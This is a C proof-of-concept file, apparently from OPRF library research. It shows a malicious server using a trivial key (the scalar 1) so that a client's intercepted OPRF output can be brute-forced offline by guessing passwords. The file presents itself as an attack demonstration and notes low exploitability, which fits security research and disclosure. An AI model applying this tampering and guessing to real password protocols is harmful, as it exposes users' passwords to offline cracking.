attack.c
1 // # SPDX-FileCopyrightText: 2024, Marsiske Stefan 2 // # SPDX-License-Identifier: GPL-3.0-or-later 3 4 // build with 5 // $ gcc -Wall -O3 attack.c -o attack -loprf -lsodium 6 // then run: 7 // $ ./attack test 8 9 #include <string.h> // memcmp 10 #include <stdio.h> // f?printf 11 #include <stdint.h> // uint8_t 12 #include <stdarg.h> // va_list, va_start, va_end 13 #include <oprf/oprf.h> 14 #include <sodium.h> 15 16 static const uint8_t k[crypto_core_ristretto255_SCALARBYTES] = {1}; 17 18 void dump(const uint8_t *p, const size_t len, const char* msg, ...) { 19 va_list args; 20 va_start(args, msg); 21 vfprintf(stderr,msg, args); 22 va_end(args); 23 fprintf(stderr,"\t"); 24 for(size_t i=0;i<len;i++) 25 fprintf(stderr,"%02x", p[i]); 26 fprintf(stderr,"\n"); 27 } 28 29 static int usage(const char *exec, const int ret) { 30 printf("usage: cat alpha | %s tamper >beta\n", exec); 31 printf("usage: cat rwd | %s guess password\n", exec); 32 return ret; 33 } 34 35 static int tamper(const uint8_t alpha[crypto_core_ristretto255_BYTES], 36 uint8_t beta[crypto_core_ristretto255_BYTES]) { 37 puts("tampering"); 38 dump(k, sizeof k, "k"); 39 if(0!=crypto_scalarmult_ristretto255(beta, k, alpha)) { 40 fputs("failed to tamper with k\nabort.\n", stderr); 41 return 1; 42 } 43 return 0; 44 } 45 46 static int guess(uint8_t rwd[OPRF_BYTES], const uint8_t *pwd, const size_t pwd_len) { 47 //fputs("[1] hashing to group...", stdout); 48 uint8_t h0pwd[crypto_core_ristretto255_BYTES]={0}; 49 if(0!=voprf_hash_to_group(pwd, pwd_len, h0pwd)) { 50 fputs("failed to hash to group\nabort\n", stderr); 51 return 1; 52 } 53 54 // tamper(h0pwd, h0pwd) 55 56 uint8_t rwd_[OPRF_BYTES]; 57 if(0!=oprf_Finalize(pwd, pwd_len, h0pwd, rwd_)) { 58 fputs("failed to finalize OPRF\nabort\n", stderr); 59 return 1; 60 } 61 62 if(memcmp(rwd,rwd_, OPRF_BYTES)!=0) return -1; 63 64 return 0; 65 } 66 67 static int test(void) { 68 // regular OPRF flow on the client 69 const uint8_t password[] = "Exploitability of this is low, OPRFs are still cool"; 70 uint8_t alpha[crypto_core_ristretto255_BYTES]={0}; 71 uint8_t r[crypto_core_ristretto255_SCALARBYTES]={0}; 72 if(0!=oprf_Blind(password, sizeof password, r, alpha)) { 73 fputs("failed to blind password\nabort\n", stderr); 74 return 1; 75 } 76 //dump(r, sizeof r, "r"); 77 78 // we tamper with beta 79 uint8_t beta[crypto_core_ristretto255_BYTES]={0}; 80 dump(alpha, sizeof alpha, "alpha"); 81 tamper(alpha, beta); 82 dump(beta, sizeof beta, "beta"); 83 84 // regular OPRF flow on the client 85 uint8_t N[crypto_core_ristretto255_BYTES]={0}; 86 int x = oprf_Unblind(r, beta, N); 87 if(0!=x) { 88 fputs("failed to unblind beta\nabort\n", stderr); 89 return 1; 90 } 91 uint8_t rwd[OPRF_BYTES]; 92 if(0!=oprf_Finalize(password, sizeof password, N, rwd)) { 93 fputs("failed to finalize OPRF\nabort\n", stderr); 94 return 1; 95 } 96 97 // we "intercept" the oprf output and guess candidate inputs 98 99 fprintf(stderr, "guess(\"%s\") = %d\n", password, guess(rwd, password, sizeof password-1)); 100 fprintf(stderr, "guess(\"%s\") = %d\n", password, guess(rwd, password, sizeof password)); 101 102 return 0; 103 } 104 105 int main(const int argc, const char** argv) { 106 if(argc<2) { 107 return usage(argv[0], 0); 108 } 109 if(memcmp(argv[1],"tamper",7)==0) { 110 uint8_t alpha[crypto_core_ristretto255_BYTES]; 111 if(fread(alpha, 1, 32, stdin) != 32) { 112 fputs("failed to read point\nabort.\n", stderr); 113 return 1; 114 } 115 116 uint8_t beta[crypto_core_ristretto255_BYTES]; 117 if(0!=tamper(alpha, beta)) { 118 return 1; 119 }; 120 fwrite(beta, 1, sizeof beta, stdout); 121 return 0; 122 } 123 if(memcmp(argv[1],"guess",6)==0) { 124 if(argc<3) { 125 return usage(argv[0], 1); 126 } 127 uint8_t rwd[OPRF_BYTES]; 128 if(fread(rwd, 1, OPRF_BYTES, stdin) != OPRF_BYTES) { 129 fputs("failed to read rwd\nabort.\n", stderr); 130 return 1; 131 } 132 return guess(rwd, (uint8_t*) argv[2], strlen(argv[2])); 133 } 134 if(memcmp(argv[1],"test",5)==0) { 135 return test(); 136 } 137 138 return usage(argv[0], 1); 139 }